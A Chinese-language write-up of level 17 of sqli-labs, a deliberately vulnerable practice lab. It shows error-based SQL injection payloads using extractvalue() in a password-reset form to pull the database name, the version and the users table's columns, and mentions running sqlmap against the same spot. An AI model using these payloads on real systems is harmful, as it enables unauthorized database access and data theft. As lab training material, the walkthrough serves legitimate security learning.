前言:这一关变化还是挺大的,让我们修改密码。
第17关
http://192.168.89.134/sqli-labs-master/Less-17/
到这里我们还是毫无头绪,只能看源代码
从源码中可以看到:接收到用户POST的uname和passwd后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg
在用户名正确后,页面便能够返回Mysql错误信息
所以我们决定用报错注入
使用updatexml(),它和extractvaule(),这两个函数原理一样,只是updatexml()多了一个参数,我习惯用extractvaule()
我们开始吧
我们在password表单注入,所以username我们用已知的admin登录,下面就不在重复!
查看库名
admb’ or extractvalue(1,concat(0x7e,(select database())))#
查版本
admb’ or extractvalue(1,concat(0x7e,(select version())))#
接着继续获取表名
1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e)) #
获取users表的内容
最后我们用sqlmap跑一下会是什么结果呢?
在这里有个小问题给大家说一下,直接上图
我们发现哪里有注入点就把*加在哪里!
加下来的操作一样,直接看结果
总结:我们今天通过17关长了见识还可以通过密码表单注入,只是位置不一样,原理方法一样!
本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助